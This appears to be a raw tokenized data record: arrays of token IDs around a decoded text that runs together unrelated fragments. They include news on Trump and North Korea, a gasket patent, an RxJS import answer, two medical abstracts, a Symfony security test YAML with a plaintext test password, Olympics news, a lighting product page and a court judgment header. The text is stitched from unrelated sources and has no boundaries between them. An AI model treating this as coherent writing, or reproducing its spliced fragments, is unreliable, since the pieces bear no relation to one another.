[ 6133, 274, 1025, 24380, 313, 9042, 59, 10, 667, 530, 15, 52, 15, 42786, 390, 22161, 9954, 556, 644, 275, 253, 3127, 296, 21672, 15, 187, 187, 510, 3918, 671, 4102, 6294, 1066, 9526, 273, 2418, 36533, 33050, 3796, 457, 84, 7234, 326, 253, 530, 15, 52, 15, 556, 271, 1527, 1386, 273, 5511, 342, 8462, 543, 31524, 13, 285, 651, 3524, 281, 8415, 253, 7344, 27242, 5372, 15, 3778, 512, 21015, 281, 253, 958, 326, 521, 13500, 285, 13, 954, 2779, 13, 253, 530, 15, 52, 15, 20884, 651, 320, 3192, 1557, 273, 253, 4112, 327, 253, 13247, 33489, 15, 1145, 275, 14, 12198, 86, 5645, 494, 305, 20253, 310, 2424, 275, 2176, 4893, 835, 247, 45059, 3490, 2550, 320, 3732, 281, 253, 305, 20253, 281, 830, 247, 14393, 15, 2596, 824, 2898, 310, 275, 247, 27859, 33168, 323, 5277, 17216, 2315, 321, 1320, 275, 271, 33667, 15, 380, 33168, 310, 8818, 275, 2709, 8661, 342, 253, 24633, 25254, 42103, 1598, 4802, 281, 253, 24633, 6108, 247, 1355, 17998, 875, 253, 2613, 273, 1016, 15096, 9092, 285, 253, 24633, 7592, 15, 496, 253, 2406, 8661, 273, 13800, 835, 253, 3276, 310, 4942, 1698, 271, 30595, 26168, 7923, 390, 17023, 2144, 778, 320, 4845, 715, 436, 2317, 281, 830, 247, 14393, 15, 1310, 253, 2317, 310, 417, 18495, 2315, 40182, 17216, 2329, 588, 8773, 949, 436, 2317, 8493, 6733, 15, 1723, 13, 387, 253, 2169, 8661, 273, 13800, 835, 253, 3276, 310, 4942, 1029, 285, 778, 6054, 281, 9166, 15, 14577, 15, 401, 15, 390, 2169, 13, 6041, 30595, 8056, 390, 17023, 305, 1945, 1507, 16528, 366, 285, 2550, 32385, 253, 3126, 15, 5131, 6041, 305, 20253, 4753, 534, 476, 30565, 2169, 9208, 1690, 12112, 42639, 3469, 2220, 253, 2898, 273, 247, 45059, 3490, 281, 830, 247, 14393, 15, 743, 5645, 494, 14393, 310, 11408, 323, 4893, 534, 513, 417, 3469, 2220, 247, 45059, 3490, 281, 830, 247, 14393, 285, 3782, 835, 253, 14393, 1364, 320, 3576, 1840, 18509, 9208, 15, 50, 27, 187, 187, 4756, 27, 44962, 4305, 16, 18961, 27898, 556, 642, 34652, 3558, 686, 18961, 8, 187, 187, 42, 452, 436, 2127, 27, 187, 2948, 551, 20772, 748, 432, 686, 18677, 4305, 16, 18961, 5618, 187, 187, 4553, 45527, 436, 13, 309, 755, 253, 2228, 2490, 187, 18677, 4305, 16, 18961, 3, 556, 642, 34652, 3558, 686, 18961, 5983, 50276, 187, 187, 42, 717, 417, 2104, 281, 11322, 436, 15, 187, 18179, 13098, 1804, 247, 2900, 32, 187, 187, 34, 27, 187, 187, 1147, 4453, 368, 897, 47317, 15253, 362, 23, 15, 496, 362, 23, 13, 253, 1039, 368, 1395, 5300, 556, 644, 1160, 1199, 625, 3477, 15, 5402, 1395, 943, 320, 751, 253, 1563, 27, 187, 2948, 551, 18961, 94, 432, 686, 18677, 4305, 5618, 187, 187, 2214, 625, 4278, 1239, 253, 10346, 7102, 15, 535, 39355, 302, 3134, 25668, 342, 4198, 1171, 311, 285, 867, 338, 290, 266, 300, 27, 12107, 1055, 273, 9765, 14, 32387, 37245, 1102, 327, 10919, 1159, 15, 187, 1992, 3653, 253, 1055, 273, 9765, 14, 32387, 37245, 1102, 275, 1363, 6883, 37251, 3134, 25668, 342, 4198, 1171, 311, 14, 2013, 338, 290, 266, 300, 15, 33523, 4911, 13, 14871, 1263, 15, 2499, 4675, 15, 9523, 329, 4576, 3520, 3708, 309, 285, 3719, 1363, 13, 10652, 4567, 281, 8026, 1107, 13, 11526, 323, 23761, 3488, 808, 4182, 15, 12493, 497, 18564, 715, 767, 2390, 13, 253, 1971, 285, 253, 1453, 2390, 313, 53, 1387, 285, 330, 1387, 481, 308, 1387, 2959, 9765, 14, 32387, 37245, 1102, 7469, 5770, 32939, 608, 281, 721, 3038, 1078, 5869, 15, 5769, 4906, 2069, 285, 6341, 497, 2218, 1078, 37251, 2452, 313, 85, 17, 582, 5329, 2909, 846, 4983, 37251, 2452, 313, 85, 18, 582, 5091, 2909, 846, 4983, 37251, 2452, 313, 85, 19, 582, 5329, 2909, 846, 7355, 273, 5222, 302, 2452, 313, 85, 20, 582, 285, 2164, 3038, 846, 5869, 313, 85, 21, 481, 12751, 267, 1159, 369, 7515, 407, 5175, 41418, 285, 25784, 3470, 27, 41418, 24077, 2281, 13, 24622, 35317, 273, 11914, 313, 12297, 1322, 558, 24622, 35317, 273, 32739, 313, 12297, 4037, 558, 285, 19006, 427, 14, 28152, 14, 18, 14, 2461, 14, 37, 14, 20522, 26471, 4988, 15678, 313, 1322, 40, 10, 3605, 313, 1322, 30206, 481, 4051, 8056, 792, 24077, 2281, 2193, 6376, 19965, 275, 512, 3110, 7625, 15, 401, 3460, 267, 35317, 273, 11914, 369, 1561, 3806, 13794, 275, 1097, 2390, 387, 2069, 246, 17, 13, 246, 18, 13, 285, 246, 19, 15, 2058, 673, 246, 20, 13, 247, 1534, 20015, 9, 1322, 10, 5241, 369, 2540, 15, 2058, 436, 673, 13, 20015, 1322, 369, 3012, 2169, 275, 330, 1387, 685, 308, 1387, 313, 49, 654, 470, 15, 2874, 481, 20015, 4037, 673, 2282, 369, 2074, 281, 253, 20015, 1322, 9058, 15, 2058, 673, 246, 21, 13, 20015, 1322, 285, 20015, 4037, 4895, 281, 15919, 2193, 15, 2058, 673, 246, 20, 13, 427, 2696, 74, 369, 671, 2559, 1293, 1534, 734, 4399, 3910, 313, 49, 654, 470, 15, 520, 13, 367, 654, 470, 15, 2874, 13, 285, 367, 654, 470, 15, 520, 4632, 2069, 246, 17, 13, 246, 18, 13, 246, 19, 275, 330, 1387, 13, 2975, 28, 367, 654, 470, 15, 520, 13, 367, 654, 470, 15, 520, 13, 285, 367, 654, 470, 15, 2874, 4632, 2069, 246, 17, 13, 246, 18, 13, 285, 246, 19, 275, 308, 1387, 13, 2975, 481, 496, 1363, 1293, 667, 10919, 2728, 13, 37251, 3134, 25668, 342, 4198, 1171, 311, 285, 867, 338, 290, 266, 300, 1543, 275, 247, 15550, 25784, 12909, 13, 534, 4620, 281, 320, 36625, 407, 253, 26308, 5286, 273, 9765, 14, 32387, 37245, 1102, 15, 2948, 84, 27, 187, 50274, 14, 551, 7741, 27, 27479, 3043, 5397, 16, 6986, 15, 46415, 748, 187, 187, 21922, 27, 187, 50274, 6113, 19232, 64, 630, 64, 20348, 15, 630, 15, 881, 27, 187, 50270, 2437, 27, 16048, 37852, 61, 18099, 61, 20356, 18099, 61, 26943, 61, 11594, 267, 61, 18099, 61, 6072, 19232, 5232, 27689, 18099, 61, 5232, 61, 6989, 27689, 2548, 187, 50270, 31126, 27, 187, 50266, 14, 37994, 9629, 64, 9742, 8, 187, 50270, 23059, 27, 187, 50266, 14, 551, 1416, 27, 830, 15, 881, 748, 187, 187, 13980, 27, 187, 50274, 2083, 351, 398, 27, 187, 50270, 23875, 37852, 61, 12118, 61, 20356, 61, 13745, 61, 6989, 61, 6989, 27, 8342, 1156, 535, 50274, 11404, 5852, 27, 187, 50270, 249, 64, 20704, 27, 187, 50266, 20704, 27, 187, 50262, 15987, 27, 187, 50258, 75, 1368, 1136, 265, 27, 551, 9868, 27, 1071, 13, 9503, 27, 544, 13935, 1843, 64, 23131, 62, 748, 535, 50274, 11342, 45930, 27, 187, 50270, 4, 831, 43505, 2506, 626, 1056, 3282, 275, 5019, 342, 253, 1551, 273, 253, 187, 50270, 4, 6661, 1873, 13, 533, 352, 434, 1060, 323, 5175, 6378, 313, 3088, 417, 897, 187, 50270, 4, 436, 1873, 275, 247, 1524, 1533, 10076, 2167, 10, 187, 50270, 20348, 64, 630, 27, 187, 50266, 17523, 27, 5042, 16, 20348, 5, 187, 50266, 13980, 27, 3221, 535, 50270, 6986, 27, 187, 50266, 2808, 483, 64, 251, 64, 4537, 64, 4168, 27, 2032, 187, 50266, 630, 64, 20348, 27, 187, 50262, 5903, 64, 3967, 27, 1227, 20348, 64, 5903, 187, 50262, 6986, 64, 7831, 64, 3967, 27, 1227, 14729, 187, 50262, 7831, 64, 3967, 64, 19484, 27, 346, 4537, 64, 20348, 48701, 7831, 64, 3967, 9336, 187, 50262, 33699, 64, 3967, 64, 19484, 27, 346, 4537, 64, 20348, 48701, 33699, 64, 3967, 9336, 187, 50262, 19721, 64, 19484, 27, 346, 4537, 64, 20348, 60, 19721, 9336, 187, 50262, 15760, 64, 19484, 27, 346, 4537, 64, 20348, 60, 15760, 9336, 187, 50262, 6113, 19232, 64, 19484, 27, 346, 4537, 64, 20348, 48701, 13763, 9336, 187, 50262, 6113, 19232, 64, 13763, 64, 36089, 27, 3988, 15, 6113, 19232, 15, 13763, 64, 20649, 187, 50266, 266, 10598, 27, 5062, 187, 50266, 2808, 483, 27, 187, 50262, 3967, 27, 1227, 2808, 483, 64, 3967, 187, 50262, 7831, 27, 1227, 187, 50262, 6113, 19232, 64, 13763, 64, 36089, 27, 3988, 15, 6113, 19232, 15, 13763, 64, 20649, 535, 50274, 10773, 64, 8519, 27, 187, 50270, 14, 551, 1854, 27, 964, 2992, 9503, 27, 4110, 64, 37482, 3489, 1864, 11657, 64, 47825, 58, 748, 187, 26008, 11656, 839, 1684, 46788, 267, 12235, 9478, 275, 2151, 15, 187, 7910, 2151, 13, 10652, 854, 285, 1249, 13, 497, 2326, 4102, 387, 253, 40256, 50243, 2499, 8710, 5197, 285, 28634, 30647, 4214, 8896, 342, 5654, 11860, 4975, 281, 253, 1684, 46788, 267, 12235, 15, 6295, 1363, 3559, 342, 3563, 10552, 1563, 9829, 42393, 4975, 281, 253, 1684, 46788, 267, 12235, 15, 2058, 9759, 13, 16891, 20205, 497, 36385, 494, 5747, 1534, 19561, 18571, 4975, 15, 1780, 350, 74, 3756, 7000, 27784, 1684, 46788, 267, 12235, 27627, 983, 275, 1097, 2151, 13, 285, 271, 7463, 74, 13606, 528, 49214, 275, 581, 1429, 15, 2053, 767, 2151, 1957, 253, 25423, 1363, 5950, 275, 253, 9205, 6239, 342, 5654, 11860, 14977, 281, 253, 1684, 46788, 267, 12235, 13, 6774, 4702, 273, 27784, 27627, 983, 13, 285, 271, 7463, 74, 13606, 528, 49214, 15, 380, 3629, 11659, 273, 11942, 285, 36064, 275, 253, 11692, 588, 2779, 2572, 253, 9364, 273, 824, 9478, 281, 2151, 15, 1284, 27007, 407, 841, 2151, 13, 36385, 494, 20205, 16891, 281, 271, 4975, 513, 417, 691, 87, 4513, 253, 878, 323, 7463, 74, 3756, 672, 18571, 4975, 310, 13282, 15, 5271, 11426, 8706, 273, 253, 11062, 12235, 390, 14433, 342, 1125, 11426, 17716, 13684, 310, 29224, 323, 8706, 273, 11172, 9478, 275, 2151, 15, 8683, 2775, 42, 13, 7422, 13, 4416, 15, 3495, 313, 58, 251, 73, 522, 10, 1969, 1284, 253, 4059, 17802, 17165, 12491, 281, 247, 2810, 1060, 275, 7422, 13, 253, 2927, 273, 253, 28802, 1533, 3531, 281, 253, 3684, 13247, 3874, 273, 367, 6683, 543, 1779, 606, 13, 253, 3167, 273, 253, 1735, 17802, 12568, 275, 4765, 15, 187, 187, 510, 19898, 29565, 369, 14048, 689, 432, 1893, 4635, 281, 367, 6683, 543, 1779, 606, 1309, 253, 11196, 16730, 387, 37459, 384, 19898, 21246, 327, 6926, 13, 285, 352, 588, 320, 4934, 275, 253, 3684, 13247, 3167, 689, 253, 1735, 1740, 1107, 15, 17835, 27, 187, 187, 22147, 1163, 187, 187, 27902, 1406, 571, 434, 3238, 403, 1959, 984, 253, 4422, 310, 24834, 407, 253, 16596, 15, 1422, 588, 320, 2546, 1996, 604, 368, 5730, 281, 4763, 32933, 533, 368, 476, 1333, 642, 285, 588, 452, 642, 12291, 281, 3238, 15, 5623, 8425, 272, 281, 322, 6665, 1406, 571, 588, 4745, 1581, 368, 281, 27, 187, 187, 19262, 1584, 634, 2136, 323, 1959, 949, 247, 5702, 4384, 2170, 15, 30629, 588, 320, 32891, 327, 253, 3186, 14917, 949, 634, 8761, 285, 4328, 15, 187, 187, 20, 37, 15632, 1959, 6184, 13, 495, 69, 3210, 1847, 307, 531, 407, 33500, 15, 187, 187, 11509, 1487, 2171, 3197, 285, 1480, 1066, 4515, 1708, 407, 2097, 273, 271, 8527, 15862, 15, 380, 7356, 310, 275, 271, 351, 1025, 47645, 275, 1264, 30214, 27, 3626, 13, 2806, 285, 5328, 15, 380, 2171, 4537, 310, 275, 4797, 1133, 12710, 24684, 20495, 375, 300, 9038, 5253, 15, 380, 1708, 310, 4797, 37220, 15, 187, 187, 6825, 3081, 1491, 323, 1847, 307, 531, 187, 187, 17389, 10558, 66, 591, 11, 187, 187, 17835, 11, 187, 187, 2402, 285, 38213, 11, 187, 187, 10504, 11, 187, 187, 12236, 11, 187, 187, 8983, 6307, 11, 187, 187, 11509, 1090, 11, 187, 187, 32351, 11, 187, 187, 21093, 11, 187, 187, 20459, 11, 187, 187, 28014, 11, 187, 187, 6825, 187, 187, 15886, 253, 2127, 2011, 1840, 11, 187, 187, 11, 42, 11165, 326, 309, 452, 1239, 285, 2997, 322, 6665, 1406, 571, 434, 26746, 273, 7890, 285, 24471, 11981, 15, 309, 3103, 1918, 322, 6665, 1406, 571, 9214, 281, 15452, 285, 897, 619, 3367, 941, 13, 347, 18627, 275, 253, 18979, 3646, 537, 24471, 1491, 187, 187, 11, 42, 1581, 33500, 281, 3057, 479, 670, 1885, 11269, 390, 3668, 15, 26746, 273, 7890, 50254, 50276, 48949, 2111, 273, 9892, 187, 50254, 50270, 5003, 18089, 13, 6112, 535, 50254, 50266, 50276, 43, 7273, 40, 10634, 187, 50254, 50266, 2302, 15, 16703, 14, 1093, 14, 361, 30467, 14, 8887, 535, 50254, 50272, 17239, 399, 15, 416, 8875, 285, 353, 15, 20222, 23773, 13, 187, 50254, 245, 50265, 209, 27528, 535, 50254, 979, 50263, 87, 15, 535, 50256 ]	ilitarized Zone (DMZ) any U.S. bomber or fighter aircraft has been in the 21st Century. The President also recently shut down Secretary of State Rex Tillerson’s statements that the U.S. has an open line of communication with Pyongyang, and would hope to solve the conflict diplomatically. Trump alluded to the fact that his Administration and, most likely, the U.S. Military would be taking care of the situation on the Korean Peninsula.An in-situ expandable gasket is required in certain applications where a clamping force cannot be applied to the gasket to form a seal. One such application is in a turbine compressor for providing cabin pressurization in an airplane. The compressor is constructed in multiple stages with the rotor blades detachably connected to the rotor leaving a small clearance between the base of each blade tip and the rotor disk. In the lower stages of compression where the temperature is relatively low an elastomeric polymer or rubber material may be placed into this space to form a seal. If the space is not sealed pressurized cabin air will escape through this space reducing efficiency. However, at the higher stages of compression where the temperature is relatively high and may rise to 400.degree. F. or higher, conventional elastomer or rubber gaskets deteriorate and cannot withstand the environment. Other conventional gasket materials which can endure higher temperatures including flexible graphite depend upon the application of a clamping force to form a seal. An expandable seal is desirable for applications which do not depend upon a clamping force to form a seal and particularly where the seal must be effective above ambient temperatures.Q: Error: rxjs/Subject"' has no exported member 'Subject' I have this code: import { Subject } from 'rxjs/Subject'; After importing this, I get the error rxjs/Subject" has no exported member 'Subject'. I am not able to resolve this. Could anybody suggest a solution? A: It looks you use RxJS v6. In v6, the way you import resources has been made much more easy. Your import should be like the following: import {Subject} from 'rxjs'; For more details read the migration guide. Hypotensive anesthesia with propofol and remifentanil: protective effect of alpha-tocopherol on renal function. To determine the effect of alpha-tocopherol in patients receiving hypotensive anesthesia with propofol-remifentanil. Prospective, randomized study. University hospital. 66 ASA physical status I and II patients, aged 32 to 56 years, scheduled for nasal polypectomy. Patients were allocated into two groups, the treatment and the control groups (T group and C group). T group received alpha-tocopherol 300 mg orally 5 to 6 hours before surgery. Sampling times and measurements were done before hypotension (t0), 45 minutes after starting hypotension (t1), 90 minutes after starting hypotension (t2), 45 minutes after recovery of normotension (t3), and 24 hours after surgery (t4). Renal function was assessed by testing glomerular and tubular functions: glomerular filtration rate, fractional excretion of sodium (FENA); fractional excretion of urea (FEUN); and urinary N-acetyl-1-beta-D-glucosoaminidase (NAG) index (NAGi). Glomerular filtration rate values remained unchanged in all patient populations. Fractional excretion of sodium was within reference ranges in both groups at times t0, t1, and t2. At time t3, a significant FE(NA) peak was observed. At this time, FENA was significantly higher in C group than T group (P < 0.001). FEUN time course was similar to the FENA trend. At time t4, FENA and FEUN returned to basal values. At time t3, NAGi was also increased without significant intergroup differences (P < 0.01, P < 0.001, and P < 0.01 vs times t0, t1, t2 in C group, respectively; P < 0.01, P < 0.01, and P < 0.001 vs times t0, t1, and t2 in T group, respectively). In patients without any renal disease, hypotensive anesthesia with propofol and remifentanil results in a transient tubular dysfunction, which appears to be minimized by the preoperative administration of alpha-tocopherol.imports: - { resource:./../config/default.yml } services: csrf_form_login.form.type: class: Symfony\Bundle\SecurityBundle\Tests\Functional\Bundle\CsrfFormLoginBundle\Form\UserLoginType arguments: - '@request_stack' tags: - { name: form.type } security: encoders: Symfony\Component\Security\Core\User\User: plaintext providers: in_memory: memory: users: johannes: { password: test, roles: [ROLE_USER] } firewalls: # This firewall doesn't make sense in combination with the rest of the # configuration file, but it's here for testing purposes (do not use # this file in a real world scenario though) login_form: pattern: ^/login$ security: false default: logout_on_user_change: true form_login: check_path: /login_check default_target_path: /profile target_path_parameter: "user_login[_target_path]" failure_path_parameter: "user_login[_failure_path]" username_parameter: "user_login[username]" password_parameter: "user_login[password]" csrf_parameter: "user_login[_token]" csrf_token_generator: security.csrf.token_manager anonymous: ~ logout: path: /logout_path target: / csrf_token_generator: security.csrf.token_manager access_control: - { path:., roles: IS_AUTHENTICATED_FULLY } Penetrating popliteal artery injuries in children. Two children, aged 8 and 12, were seen recently at the Vanderbilt University Medical Center and Metropolitan Nashville General Hospital with gunshot injury to the popliteal artery. Both patients presented with late complications following missed penetrating injury to the popliteal artery. At presentation, distal pulses were palpable despite significant proximal arterial injury. Arteriography detailed traumatic popliteal artery aneurysms in both children, and an arteriovenous fistula in one child. These two children represent the youngest patients recorded in the surgical literature with gunshot trauma to the popliteal artery, subsequent formation of traumatic aneurysms, and an arteriovenous fistula. The increasing availability of guns and rifles in the household will likely increase the incidence of such injuries to children. As evidenced by these children, palpable pulses distal to an injury do not obviate the need for arteriography when arterial injury is suspected. Autogenous repair of the injured artery or reconstruction with autogenous vein graft is preferable for repair of vascular injuries in children.SOCHI, Russia, Feb. 23 (Yonhap) -- As the 2014 Winter Olympics drew to a close here in Russia, the eyes of the sporting world turned to the South Korean town of PyeongChang, the host of the next Winter Games in 2018. The Olympic Flag was handed over from Sochi to PyeongChang during the closing ceremony at Fisht Olympic Stadium on Sunday, and it will be kept in the South Korean host over the next four years.Email: Password : Syncronia's services are free because the website is sponsored by the manufacturers. You will be asked later if you wish to receive advertisements but you can say no and will have no limitation to services.Subscribing to Syncronia will immediately allow you to: Promote your business for free through a professional web area. Pages will be indexed on the search engines through your profession and location. 3D lighting free download, 3d models Plutone by Album. Provides diffused and direct downwards light by means of an integrated LED. The stick is in anodized aluminium in three finishes: natural, black and gold. The diffuser is in blue handmade blown borosilicate glass. The light is blue coloured. Request additional information for Plutone Richiesta per Email* Name and surname* Phone* Address* Post Code* Province* Country* City* Job* School* Request Enter the code shown above* I declare that I have read and accept Syncronia's Terms of Use and Privacy Policy. I therefore give Syncronia permission to publish and use my personal data, as outlined in the aforementioned policy.. Privacy information I allow Album to contact me about product updates or news. Terms of Use Fourth Court of Appeals San Antonio, Texas JUDGMENT No. 04-18-00694-CV Paul D. RICE and M. Susan Rice, Appellants v.
[ 4746, 5494, 219, 20557, 215, 3917, 27033, 29734, 6344, 41870, 3193, 227, 3193, 227, 3193, 227, 23366, 6449, 34138, 216, 19857, 4746, 16877, 37203, 10786, 35482, 12448, 211, 6996, 6957, 21700, 116, 19857, 46212, 4340, 6916, 98, 13127, 240, 10786, 5891, 13442, 18757, 5891, 4746, 23956, 110, 32378, 3917, 19067, 20776, 13752, 6088, 165, 104, 237, 14321, 6449, 26335, 243, 13129, 18757, 4340, 2756, 187, 24412, 8841, 243, 42930, 3917, 24545, 243, 161, 113, 116, 1357, 217, 6218, 9146, 13764, 98, 37531, 98, 39593, 9345, 30723, 13748, 25538, 37203, 5444, 20281, 18514, 3917, 6418, 41870, 3193, 230, 19144, 3917, 16549, 235, 19144, 20281, 4340, 33124, 37203, 3917, 37933, 219, 43136, 6418, 30423, 14016, 23872, 9146, 11473, 46212, 13752, 29474, 4340, 24545, 243, 161, 113, 116, 13764, 98, 37531, 98, 6418, 31902, 213, 1769, 225, 16740, 3917, 48815, 33836, 105, 6449, 30903, 14016, 28812, 232, 16800, 96, 41102, 4340, 2756, 187, 13748, 45387, 231, 18751, 211, 6418, 24545, 120, 18309, 9935, 8509, 14016, 18757, 4340, 45776, 42165, 13609, 32365, 6957, 38591, 4746, 31229, 24149, 28405, 13973, 18514, 49764, 4746, 21700, 223, 165, 103, 230, 6449, 28215, 224, 20584, 30723, 13127, 118, 46674, 5891, 34198, 6957, 27098, 6088, 35636, 5151, 35550, 4340, 15936, 18309, 14010, 3917, 19780, 241, 5151, 8509, 9345, 6686, 5832, 32026, 220, 29645, 4340, 14016, 46674, 9345, 6088, 21232, 38389, 6686, 14318, 97, 3917, 16385, 103, 11871, 113, 6957, 7149, 30723, 11039, 46016, 4340, 8509, 6218, 5690, 232, 22010, 15124, 5151, 20776, 15275, 4340, 20603, 10446, 5444, 5151, 5832, 13639, 13973, 26443, 209, 18678, 6261, 14321, 6261, 15275, 4340, 36644, 26772, 6218, 11473, 3917, 27098, 20005, 4746, 765, 239, 765, 112, 11016, 98, 21700, 96, 6449, 20720, 13129, 5151, 26680, 13752, 6088, 18957, 20557, 236, 6449, 27804, 31355, 6261, 18617, 122, 46674, 9146, 17531, 6218, 4340, 2756, 187, 31902, 213, 1769, 225, 16740, 6957, 25276, 17955, 241, 5891, 45950, 22010, 21163, 236, 25276, 13748, 26552, 3917, 25762, 113, 13752, 6418, 13748, 44290, 11016, 211, 6344, 11908, 39691, 15815, 6088, 36387, 118, 20287, 45261, 6088, 6418, 163, 118, 212, 6449, 6765, 218, 11473, 4746, 37248, 6418, 37895, 108, 27804, 3917, 5690, 232, 22010, 6449, 41102, 28254, 20776, 4340, 12005, 104, 46549, 6418, 18757, 6344, 5891, 43972, 9935, 40404, 13752, 6088, 8587, 244, 31982, 15124, 4340, 2756, 187, 39984, 45776, 30903, 8509, 5832, 31902, 213, 1769, 225, 16740, 765, 118, 3917, 1628, 12005, 104, 46549, 17694, 36924, 26003, 40895, 668, 4340, 18957, 13484, 6418, 20603, 9935, 35636, 50169, 3917, 13973, 34198, 9935, 9146, 4340, 31352, 1222, 6282, 14, 34552, 378, 2804, 8352, 187, 187, 510, 10867, 1222, 6282, 14, 34552, 378, 2804, 8352, 556, 247, 9848, 9851, 14, 484, 1899, 281, 2572, 634, 1673, 273, 8113, 285, 5252, 327, 253, 3971, 390, 11693, 15, 25956, 4205, 11355, 253, 10502, 273, 23678, 285, 29952, 4269, 407, 2819, 1066, 15, 26713, 407, 5847, 285, 12085, 42094, 13, 352, 434, 253, 3962, 1635, 281, 634, 10867, 1222, 4382, 15, 14102, 87, 2179, 13877, 187, 187, 20443, 374, 13, 4059, 13, 374, 27, 2640, 247, 15, 78, 15, 187, 14, 187, 20678, 610, 41379, 25642, 13, 8978, 13, 273, 40534, 518, 360, 556, 16139, 2923, 1264, 2069, 275, 253, 2469, 3578, 1107, 15, 754, 369, 806, 11245, 342, 2602, 40961, 2923, 275, 6469, 13, 342, 6400, 2923, 275, 5215, 13, 285, 840, 4318, 3817, 2923, 275, 4072, 15, 60, 34182, 641, 13567, 2614, 2957, 275, 2264, 12267, 48395, 44406, 1363, 1570, 187, 510, 4388, 273, 253, 1263, 369, 281, 4271, 253, 2616, 13567, 2201, 2614, 2957, 275, 1363, 17362, 2264, 12267, 48395, 44406, 313, 53, 24338, 582, 275, 1340, 281, 4796, 2614, 2957, 285, 6095, 323, 2614, 34190, 15, 831, 13893, 14871, 1263, 2908, 5096, 16, 19105, 1363, 4127, 407, 308, 24338, 387, 2499, 8896, 273, 6572, 21154, 1497, 13, 49524, 21363, 13, 42862, 13, 432, 4247, 5826, 7357, 4565, 5215, 15, 380, 1563, 3602, 497, 5867, 27, 3110, 2363, 13, 2825, 13, 2133, 2280, 3605, 313, 31685, 582, 18571, 2614, 3473, 13, 26308, 30242, 1268, 285, 30242, 1268, 17691, 2614, 34190, 13, 2978, 273, 5869, 13, 2614, 2957, 285, 4644, 273, 2614, 47415, 3197, 15, 4794, 281, 3110, 2363, 13, 627, 497, 642, 3910, 275, 253, 2978, 273, 5869, 13, 2614, 2957, 4644, 13, 30242, 1268, 1078, 2614, 34190, 285, 897, 273, 2614, 34190, 15, 8937, 254, 1363, 574, 2406, 30242, 1268, 1078, 2614, 34190, 285, 2959, 3687, 14118, 273, 2614, 34190, 13, 533, 253, 3064, 369, 417, 10126, 1534, 15, 23588, 1363, 574, 247, 3012, 2169, 26308, 30242, 1268, 347, 2429, 281, 5343, 1363, 313, 49, 426, 470, 15, 12522, 481, 380, 1599, 4644, 273, 2614, 2957, 285, 273, 47415, 3197, 2614, 369, 4067, 275, 5086, 685, 5343, 1363, 13, 2299, 13, 253, 3064, 858, 417, 3986, 7605, 8453, 15, 4794, 281, 15481, 13, 627, 497, 642, 3910, 275, 253, 2978, 273, 5869, 13, 2614, 2957, 13, 4644, 273, 47415, 3197, 2614, 285, 30242, 1268, 1078, 34190, 15, 12493, 342, 247, 2406, 26308, 30242, 1268, 858, 417, 7168, 625, 2614, 1309, 285, 846, 5869, 13, 533, 253, 8284, 323, 2614, 34190, 369, 3012, 2169, 313, 49, 426, 470, 15, 11494, 481, 8305, 8292, 3134, 1363, 574, 247, 10126, 3687, 24109, 7105, 2614, 2957, 313, 49, 426, 470, 15, 22439, 582, 533, 858, 417, 4763, 625, 47415, 3197, 2614, 313, 49, 426, 470, 15, 32942, 481, 5729, 7105, 30242, 1268, 369, 2169, 275, 1363, 342, 10702, 18571, 2614, 3473, 685, 275, 1110, 342, 2622, 2614, 3473, 13, 533, 253, 3064, 369, 417, 10126, 1534, 313, 49, 426, 470, 15, 44159, 481, 18402, 20491, 1268, 1078, 2614, 34190, 369, 671, 2169, 275, 41039, 1363, 685, 275, 1110, 342, 2622, 2614, 3473, 13, 533, 352, 369, 417, 10126, 1534, 313, 49, 426, 470, 15, 21340, 481, 496, 1363, 342, 3356, 7467, 273, 5869, 13, 2614, 2957, 285, 4644, 273, 2614, 47415, 3197, 2614, 497, 10126, 3012, 3687, 313, 49, 426, 470, 15, 4838, 285, 367, 426, 470, 15, 10496, 13, 2975, 481, 12602, 1543, 20714, 247, 1534, 2762, 5921, 875, 253, 2978, 273, 5869, 285, 253, 4644, 273, 2614, 2957, 313, 83, 426, 470, 15, 28899, 28, 367, 426, 470, 15, 13925, 10, 347, 973, 347, 875, 253, 2978, 273, 5869, 285, 253, 4644, 273, 2614, 47415, 3197, 313, 83, 426, 470, 15, 28615, 28, 367, 426, 470, 15, 2874, 481, 329, 1534, 4016, 5921, 369, 4232, 875, 253, 26308, 30242, 1268, 285, 2898, 273, 2614, 34190, 313, 83, 426, 428, 17, 15, 9519, 28, 367, 426, 470, 15, 14521, 481, 12493, 342, 14300, 574, 247, 3012, 4067, 2614, 2957, 4644, 347, 2429, 281, 1363, 342, 2622, 18571, 3473, 313, 49, 426, 470, 15, 22439, 10, 285, 2959, 625, 2614, 47415, 16723, 685, 1363, 342, 2622, 2614, 3473, 13, 533, 253, 3064, 369, 417, 10126, 1534, 313, 49, 426, 470, 15, 32942, 481, 11362, 13, 2825, 285, 15481, 574, 642, 10126, 1534, 1055, 327, 2614, 2957, 4644, 285, 2898, 273, 2614, 34190, 15, 23588, 1363, 574, 247, 3012, 2169, 26308, 30242, 1268, 313, 49, 30, 17, 15, 12522, 582, 4067, 1599, 2614, 2957, 4644, 313, 49, 426, 470, 15, 30768, 10, 285, 2959, 625, 2614, 47415, 16723, 685, 5343, 1363, 13, 2299, 13, 253, 3064, 858, 417, 3986, 7605, 8453, 313, 49, 426, 470, 15, 33730, 481, 10635, 327, 1263, 1543, 13, 352, 310, 7945, 326, 6095, 323, 2614, 34190, 588, 320, 3687, 275, 1363, 342, 14300, 285, 2406, 26308, 30242, 1268, 347, 973, 347, 275, 512, 2219, 342, 3356, 7467, 273, 5869, 15, 1916, 4796, 253, 897, 273, 512, 6679, 280, 2614, 34190, 13, 352, 310, 3309, 281, 3451, 18571, 2614, 3473, 1078, 5869, 275, 41039, 1363, 285, 671, 281, 2849, 1419, 26308, 30242, 1268, 604, 352, 310, 2406, 15, 6067, 3688, 7033, 281, 6576, 323, 9591, 9373, 45647, 5869, 285, 3782, 323, 6576, 908, 275, 13828, 14910, 273, 1363, 281, 4763, 48199, 4095, 15, 496, 1798, 13, 776, 3688, 7033, 281, 247, 21353, 7102, 285, 7646, 1907, 247, 10898, 6036, 734, 7334, 875, 247, 6016, 285, 253, 7646, 15, 380, 10898, 6036, 476, 320, 12623, 13, 5277, 1270, 15840, 5678, 342, 7882, 15, 844, 452, 1119, 776, 3688, 3782, 4217, 323, 13828, 253, 1289, 41064, 13369, 273, 247, 9215, 13, 835, 2289, 778, 320, 3782, 20793, 13, 533, 776, 3688, 310, 7763, 281, 9373, 45647, 7259, 3839, 15, 187, 3980, 394, 45647, 27067, 534, 8171, 45644, 390, 7154, 22136, 403, 973, 14, 4304, 15, 496, 3332, 1107, 13, 2299, 13, 27067, 452, 2489, 9592, 2570, 285, 10799, 15, 6201, 